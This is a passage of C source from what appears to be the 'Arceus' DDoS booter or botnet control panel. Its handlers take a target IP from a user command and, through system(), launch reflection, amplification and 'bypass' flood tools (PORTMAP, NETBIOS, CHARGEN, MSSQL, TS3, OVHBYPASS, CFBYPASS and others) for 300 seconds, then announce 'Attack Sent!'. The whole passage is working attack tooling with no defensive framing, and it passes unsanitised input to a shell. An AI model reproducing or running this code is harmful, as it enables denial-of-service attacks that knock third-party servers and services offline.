  1766. sprintf(ipkill, "echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mPORTMAP\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]'; echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mPORTMAP\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]' >> logs/Arceus_IPHM_Attack.log; ./amp/methods/layer4/v1/reflection/portmap/portmap %s amp/methods/layer4/v1/reflection/portmap.txt 2 -1 300\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget, iptarget);
  1767. system(ipkill); // System Execution
  1768. sprintf(arceus, "\x1b[91m╔══════════════════╗\r\n\x1b[91m║ \x1b[91mAttack Sent! \x1b[91m║ \x1b[91mIP \x1b[91m/ \x1b[91mPort\x1b[91m: \e[38;5;82m%s\r\n\x1b[91m║ \x1b[91mMethod\x1b[91m: \e[38;5;82mPORTMAP \x1b[91m║ \x1b[91mTime\x1b[91m: \e[38;5;82m300\r\n\x1b[91m║ \x1b[91mUsage\x1b[91m: \e[38;5;82mIPHM-PMAP \x1b[91m║ \x1b[91mThreads\x1b[91m: \e[38;5;82m2\r\n\x1b[91m╚══════════════════╝\r\n", iptarget);
  1769. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1770. }
  1771. if (strstr(arceus_buffer_size, ".sentinel") || strstr(arceus_buffer_size, ".SENTINEL")) // System Command Function
  1772. {
  1773. char iptarget[5000]; // Char Every Line For Output Communication
  1774. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1775. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1776. trim_removev2(iptarget); // Trim [iptarget]
  1777. char *ipkill[5000]; // Creating A System Function
  1778. trim_removev2(ipkill); // Trim [ipkill]
  1779. sprintf(ipkill, "echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mSENTINEL\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]'; echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mSENTINEL\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]' >> logs/Arceus_IPHM_Attack.log; ./amp/methods/layer4/v1/reflection/sentinel/sentinel %s amp/methods/layer4/v1/reflection/sentinel.txt 2 -1 300\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget, iptarget);
  1780. system(ipkill); // System Execution
  1781. sprintf(arceus, "\x1b[91m╔══════════════════╗\r\n\x1b[91m║ \x1b[91mAttack Sent! \x1b[91m║ \x1b[91mIP \x1b[91m/ \x1b[91mPort\x1b[91m: \e[38;5;82m%s\r\n\x1b[91m║ \x1b[91mMethod\x1b[91m: \e[38;5;82mSENTINEL \x1b[91m║ \x1b[91mTime\x1b[91m: \e[38;5;82m300\r\n\x1b[91m║ \x1b[91mUsage\x1b[91m: \e[38;5;82mIPHM-SNTNL\x1b[91m║ \x1b[91mThreads\x1b[91m: \e[38;5;82m2\r\n\x1b[91m╚══════════════════╝\r\n");
  1782. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1783. }
  1784. if (strstr(arceus_buffer_size, ".netbios") || strstr(arceus_buffer_size, ".NETBIOS")) // System Command Function
  1785. {
  1786. char iptarget[5000]; // Char Every Line For Output Communication
  1787. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1788. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1789. trim_removev2(iptarget); // Trim [iptarget]
  1790. char *ipkill[5000]; // Creating A System Function
  1791. trim_removev2(ipkill); // Trim [ipkill]
  1792. sprintf(ipkill, "echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mNETBIOS\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]'; echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mNETBIOS\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]' >> logs/Arceus_IPHM_Attack.log; ./amp/methods/layer4/v1/reflection/netbios/netbios %s amp/methods/layer4/v1/reflection/netbios.txt 2 -1 300\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget, iptarget);
  1793. system(ipkill); // System Execution
  1794. sprintf(arceus, "\x1b[91m╔══════════════════╗\r\n\x1b[91m║ \x1b[91mAttack Sent! \x1b[91m║ \x1b[91mIP \x1b[91m/ \x1b[91mPort\x1b[91m: \e[38;5;82m%s\r\n\x1b[91m║ \x1b[91mMethod\x1b[91m: \e[38;5;82mNETBIOS \x1b[91m║ \x1b[91mTime\x1b[91m: \e[38;5;82m300\r\n\x1b[91m║ \x1b[91mUsage\x1b[91m: \e[38;5;82mIPHM-NTBIS\x1b[91m║ \x1b[91mThreads\x1b[91m: \e[38;5;82m2\r\n\x1b[91m╚══════════════════╝\r\n");
  1795. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1796. }
  1797. if (strstr(arceus_buffer_size, ".chargen") || strstr(arceus_buffer_size, ".CHARGEN")) // System Command Function
  1798. {
  1799. char iptarget[5000]; // Char Every Line For Output Communication
  1800. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1801. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1802. trim_removev2(iptarget); // Trim [iptarget]
  1803. char *ipkill[5000]; // Creating A System Function
  1804. trim_removev2(ipkill); // Trim [ipkill]
  1805. sprintf(ipkill, "echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mCHARGEN\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]'; echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mCHARGEN\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]' >> logs/Arceus_IPHM_Attack.log; ./amp/methods/layer4/v1/reflection/chargen/chargen %s amp/methods/layer4/v1/reflection/chargen.txt 2 -1 300\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget, iptarget);
  1806. system(ipkill); // System Execution
  1807. sprintf(arceus, "\x1b[91m╔══════════════════╗\r\n\x1b[91m║ \x1b[91mAttack Sent! \x1b[91m║ \x1b[91mIP \x1b[91m/ \x1b[91mPort\x1b[91m: \e[38;5;82m%s\r\n\x1b[91m║ \x1b[91mMethod\x1b[91m: \e[38;5;82mCHARGEN \x1b[91m║ \x1b[91mTime\x1b[91m: \e[38;5;82m300\r\n\x1b[91m║ \x1b[91mUsage\x1b[91m: \e[38;5;82mIPHM-CHRGN\x1b[91m║ \x1b[91mThreads\x1b[91m: \e[38;5;82m2\r\n\x1b[91m╚══════════════════╝\r\n");
  1808. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1809. }
  1810. if (strstr(arceus_buffer_size, ".mssql") || strstr(arceus_buffer_size, ".MSSQL")) // System Command Function
  1811. {
  1812. char iptarget[5000]; // Char Every Line For Output Communication
  1813. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1814. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1815. trim_removev2(iptarget); // Trim [iptarget]
  1816. char *ipkill[5000]; // Creating A System Function
  1817. trim_removev2(ipkill); // Trim [ipkill]
  1818. sprintf(ipkill, "echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mMSSQL\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]'; echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mMSSQL\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]' >> logs/Arceus_IPHM_Attack.log; ./amp/methods/layer4/v1/reflection/mssql/mssql %s amp/methods/layer4/v1/reflection/mssql.txt 2 -1 300\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget, iptarget);
  1819. system(ipkill); // System Execution
  1820. sprintf(arceus, "\x1b[91m╔══════════════════╗\r\n\x1b[91m║ \x1b[91mAttack Sent! \x1b[91m║ \x1b[91mIP \x1b[91m/ \x1b[91mPort\x1b[91m: \e[38;5;82m%s\r\n\x1b[91m║ \x1b[91mMethod\x1b[91m: \e[38;5;82mMSSQL \x1b[91m║ \x1b[91mTime\x1b[91m: \e[38;5;82m300\r\n\x1b[91m║ \x1b[91mUsage\x1b[91m: \e[38;5;82mIPHM-MSSQL\x1b[91m║ \x1b[91mThreads\x1b[91m: \e[38;5;82m2\r\n\x1b[91m╚══════════════════╝\r\n");
  1821. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1822. }
  1823. if (strstr(arceus_buffer_size, ".ts3") || strstr(arceus_buffer_size, ".TS3")) // System Command Function
  1824. {
  1825. char iptarget[5000]; // Char Every Line For Output Communication
  1826. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1827. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1828. trim_removev2(iptarget); // Trim [iptarget]
  1829. char *ipkill[5000]; // Creating A System Function
  1830. trim_removev2(ipkill); // Trim [ipkill]
  1831. sprintf(ipkill, "echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mTS3\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]'; echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mTS3\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m] \e[91mThreads:\e[91m[\e[91m2\e[91m] \e[91mPPS:\e[91m[\e[91mMAX\e[91m] \e[91mTime:\e[91m[\e[91m300\e[91m]' >> logs/Arceus_IPHM_Attack.log; ./amp/methods/layer4/v1/reflection/ts3/ts3 %s amp/methods/layer4/v1/reflection/ts3.txt 2 -1 300\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget, iptarget);
  1832. system(ipkill); // System Execution
  1833. sprintf(arceus, "\x1b[91m╔══════════════════╗\r\n\x1b[91m║ \x1b[91mAttack Sent! \x1b[91m║ \x1b[91mIP \x1b[91m/ \x1b[91mPort\x1b[91m: \e[38;5;82m%s\r\n\x1b[91m║ \x1b[91mMethod\x1b[91m: \e[38;5;82mTS3 \x1b[91m║ \x1b[91mTime\x1b[91m: \e[38;5;82m300\r\n\x1b[91m║ \x1b[91mUsage\x1b[91m: \e[38;5;82mIPHM-TS3 \x1b[91m║ \x1b[91mThreads\x1b[91m: \e[38;5;82m2\r\n\x1b[91m╚══════════════════╝\r\n");
  1834. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1835. }
  1836. if (strstr(arceus_buffer_size, ".prowin") || strstr(arceus_buffer_size, ".PROWIN")) // System Command Function
  1837. {
  1838. char iptarget[5000]; // Char Every Line For Output Communication
  1839. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1840. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1841. trim_removev2(iptarget); // Trim [iptarget]
  1842. char *ipkill[5000]; // Creating A System Function
  1843. trim_removev2(ipkill); // Trim [ipkill]
  1844. sprintf(ipkill, "echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mPROWIN\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m]'; echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mPROWIN\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m]' >> logs/Arceus_IPHM_Attack.log; ./amp/methods/layer4/v1/bandwidth/yubinacollection/prowin %s\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
  1845. system(ipkill); // System Execution
  1846. sprintf(arceus, "\x1b[91m╔══════════════════╗\r\n\x1b[91m║ \x1b[91mAttack Sent! \x1b[91m║ \x1b[91mIP \x1b[91m/ \x1b[91mPort\x1b[91m: \e[38;5;82m%s\r\n\x1b[91m║ \x1b[91mMethod\x1b[91m: \e[38;5;82mPROWIN \x1b[91m║ \x1b[91mTime\x1b[91m: \e[38;5;82m300\r\n\x1b[91m║ \x1b[91mUsage\x1b[91m: \e[38;5;82mIPHM-PWIN \x1b[91m║ \x1b[91mThreads\x1b[91m: \e[38;5;82m2\r\n\x1b[91m╚══════════════════╝\r\n");
  1847. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1848. }
  1849. if (strstr(arceus_buffer_size, ".winsyn") || strstr(arceus_buffer_size, ".WINSYN")) // System Command Function
  1850. {
  1851. char iptarget[5000]; // Char Every Line For Output Communication
  1852. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1853. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1854. trim_removev2(iptarget); // Trim [iptarget]
  1855. char *ipkill[5000]; // Creating A System Function
  1856. trim_removev2(ipkill); // Trim [ipkill]
  1857. sprintf(ipkill, "echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mWINSYN\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m]'; echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mWINSYN\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m]' >> logs/Arceus_IPHM_Attack.log; ./amp/methods/layer4/v1/bandwidth/yubinacollection/winsyn %s\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget, iptarget);
  1858. system(ipkill); // System Execution
  1859. sprintf(arceus, "\x1b[91m╔══════════════════╗\r\n\x1b[91m║ \x1b[91mAttack Sent! \x1b[91m║ \x1b[91mIP \x1b[91m/ \x1b[91mPort\x1b[91m: \e[38;5;82m%s\r\n\x1b[91m║ \x1b[91mMethod\x1b[91m: \e[38;5;82mWINSYN \x1b[91m║ \x1b[91mTime\x1b[91m: \e[38;5;82m300\r\n\x1b[91m║ \x1b[91mUsage\x1b[91m: \e[38;5;82mIPHM-WNSYN\x1b[91m║ \x1b[91mThreads\x1b[91m: \e[38;5;82m2\r\n\x1b[91m╚══════════════════╝\r\n");
  1860. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1861. }
  1862. if (strstr(arceus_buffer_size, ".yubina") || strstr(arceus_buffer_size, ".YUBINA")) // System Command Function
  1863. {
  1864. char iptarget[5000]; // Char Every Line For Output Communication
  1865. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1866. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1867. trim_removev2(iptarget); // Trim [iptarget]
  1868. char *ipkill[5000]; // Creating A System Function
  1869. trim_removev2(ipkill); // Trim [ipkill]
  1870. sprintf(ipkill, "echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mYUBINA\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m]'; echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mYUBNA\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m]' >> logs/Arceus_IPHM_Attack.log; ./amp/methods/layer4/v1/bandwidth/yubinacollection/yubina %s\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget, iptarget);
  1871. system(ipkill); // System Execution
  1872. sprintf(arceus, "\x1b[91m╔══════════════════╗\r\n\x1b[91m║ \x1b[91mAttack Sent! \x1b[91m║ \x1b[91mIP \x1b[91m/ \x1b[91mPort\x1b[91m: \e[38;5;82m%s\r\n\x1b[91m║ \x1b[91mMethod\x1b[91m: \e[38;5;82mYUBINA \x1b[91m║ \x1b[91mTime\x1b[91m: \e[38;5;82m300\r\n\x1b[91m║ \x1b[91mUsage\x1b[91m: \e[38;5;82mIPHM-UBINA\x1b[91m║ \x1b[91mThreads\x1b[91m: \e[38;5;82m2\r\n\x1b[91m╚══════════════════╝\r\n");
  1873. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1874. }
  1875. if (strstr(arceus_buffer_size, ".winseqid") || strstr(arceus_buffer_size, ".WINSEQID")) // System Command Function
  1876. {
  1877. char iptarget[5000]; // Char Every Line For Output Communication
  1878. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1879. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1880. trim_removev2(iptarget); // Trim [iptarget]
  1881. char *ipkill[5000]; // Creating A System Function
  1882. trim_removev2(ipkill); // Trim [ipkill]
  1883. sprintf(ipkill, "echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mWINSEQID\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m]'; echo -e '\e[91m[\e[91mArceus\e[91m] \e[91mUser:\e[91m[\e[91m%s\e[91m] \e[91mMethod:\e[91m[\e[91mWINSEQID\e[91m] \e[91mIP/Port:\e[91m[\e[91m%s\e[91m]' >> logs/Arceus_IPHM_Attack.log; ./amp/methods/layer4/v1/bandwidth/yubinacollection/winseqid %s\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget, iptarget);
  1884. system(ipkill); // System Execution
  1885. sprintf(arceus, "\x1b[91m╔══════════════════╗\r\n\x1b[91m║ \x1b[91mAttack Sent! \x1b[91m║ \x1b[91mIP \x1b[91m/ \x1b[91mPort\x1b[91m: \e[38;5;82m%s\r\n\x1b[91m║ \x1b[91mMethod\x1b[91m: \e[38;5;82mWINSEQID \x1b[91m║ \x1b[91mTime\x1b[91m: \e[38;5;82m300\r\n\x1b[91m║ \x1b[91mUsage\x1b[91m: \e[38;5;82mIPHM-SEQID\x1b[91m║ \x1b[91mThreads\x1b[91m: \e[38;5;82m2\r\n\x1b[91m╚══════════════════╝\r\n");
  1886. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1887. }
  1888. if (strstr(arceus_buffer_size, ".ovhbypass") || strstr(arceus_buffer_size, ".OVHBYPASS")) // System Command Function
  1889. {
  1890. char iptarget[5000]; // Char Every Line For Output Communication
  1891. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1892. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1893. trim_removev2(iptarget); // Trim [iptarget]
  1894. char *ipkill[5000]; // Creating A System Function
  1895. trim_removev2(ipkill); // Trim [ipkill]
  1896. sprintf(ipkill, "./amp/methods/Bandwidth/ovhbypass %s 62141 300 UDP", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  1897. system(ipkill); // System Execution
  1898. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔═══════════════════════════╗\r\n \e[91m║ \e[91mMethod\e[91m:\e[91m OVHBYPASS \e[91m╠══════╣ \e[91m.KILL to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage\e[91m:\e[91m OVHBYPASS-IPHM\e[91m║ ╚═══════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  1899. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1900. }
  1901. if (strstr(arceus_buffer_size, ".nfobypass") || strstr(arceus_buffer_size, ".NFOBYPASS")) // System Command Function
  1902. {
  1903. char iptarget[5000]; // Char Every Line For Output Communication
  1904. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1905. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1906. trim_removev2(iptarget); // Trim [iptarget]
  1907. char *ipkill[5000]; // Creating A System Function
  1908. trim_removev2(ipkill); // Trim [ipkill]
  1909. sprintf(ipkill, "./amp/methods/Bandwidth/nfobypass %s 62141", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  1910. system(ipkill); // System Execution
  1911. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔═══════════════════════════╗\r\n \e[91m║ \e[91mMethod\e[91m:\e[91m NFOBYPASS \e[91m╠══════╣ \e[91m.KILL to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage\e[91m:\e[91m NFOBYPASS-IPHM\e[91m║ ╚═══════════════════════════╝\r\n \e[91m╚═══════════���══════════╝\r\n");
  1912. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1913. }
  1914. if (strstr(arceus_buffer_size, ".cfbypass") || strstr(arceus_buffer_size, ".CFBYPASS")) // System Command Function
  1915. {
  1916. char iptarget[5000]; // Char Every Line For Output Communication
  1917. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1918. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1919. trim_removev2(iptarget); // Trim [iptarget]
  1920. char *ipkill[5000]; // Creating A System Function
  1921. trim_removev2(ipkill); // Trim [ipkill]
  1922. sprintf(ipkill, "php amp/methods/Bandwidth/CF_Bypass %s proxy.txt 2 300", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  1923. system(ipkill); // System Execution
  1924. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔═══════════════════════════╗\r\n \e[91m║ \e[91mMethod\e[91m: \e[91mCFBYPASS \e[91m╠══════╣ \e[91m.KILL to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage\e[91m: \e[91mCFBYPASS-IPHM \e[91m║ ╚═══════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  1925. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1926. }
  1927. if (strstr(arceus_buffer_size, ".bo4bypass") || strstr(arceus_buffer_size, ".BO4BYPASS")) // System Command Function
  1928. {
  1929. char iptarget[5000]; // Char Every Line For Output Communication
  1930. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1931. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1932. trim_removev2(iptarget); // Trim [iptarget]
  1933. char *ipkill[5000]; // Creating A System Function
  1934. trim_removev2(ipkill); // Trim [ipkill]
  1935. sprintf(ipkill, "./amp/methods/Bandwidth/bo4bypass %s 62627 -1 300", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  1936. system(ipkill); // System Execution
  1937. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔═══════════════════════════╗\r\n \e[91m║ \e[91mMethod\e[91m:\e[91m BO4BYPASS \e[91m╠══════╣ \e[91m.KILL to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage\e[91m: \e[91mBO4BYPASS-IPHM\e[91m║ ╚═══════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  1938. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1939. }
  1940. if (strstr(arceus_buffer_size, ".vse") || strstr(arceus_buffer_size, ".VSE")) // System Command Function
  1941. {
  1942. char iptarget[5000]; // Char Every Line For Output Communication
  1943. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1944. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1945. trim_removev2(iptarget); // Trim [iptarget]
  1946. char *ipkill[5000]; // Creating A System Function
  1947. trim_removev2(ipkill); // Trim [ipkill]
  1948. sprintf(ipkill, "./amp/methods/Bandwidth/vse %s 2 -1 300", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  1949. system(ipkill); // System Execution
  1950. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔═══════════════════════════╗\r\n \e[91m║ \e[91mMethod\e[91m: \e[91mVSE \e[91m╠══════╣ \e[91m.KILL to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage\e[91m: \e[91mVSE-IPHM \e[91m║ ╚═══════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  1951. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1952. }
  1953. if (strstr(arceus_buffer_size, ".dominate") || strstr(arceus_buffer_size, ".DOMINATE")) // System Command Function
  1954. {
  1955. char iptarget[5000]; // Char Every Line For Output Communication
  1956. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1957. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1958. trim_removev2(iptarget); // Trim [iptarget]
  1959. char *ipkill[5000]; // Creating A System Function
  1960. trim_removev2(ipkill); // Trim [ipkill]
  1961. sprintf(ipkill, "./amp/methods/Bandwidth/dominate %s 62141 2 -1 300", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  1962. system(ipkill); // System Execution
  1963. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔═══════════════════════════╗\r\n \e[91m║ \e[91mMethod\e[91m: \e[91mDOMINATE \e[91m╠══════╣ \e[91m.KILL to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage\e[91m: \e[91mDOMINATE-IPHM \e[91m║ ╚═══════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
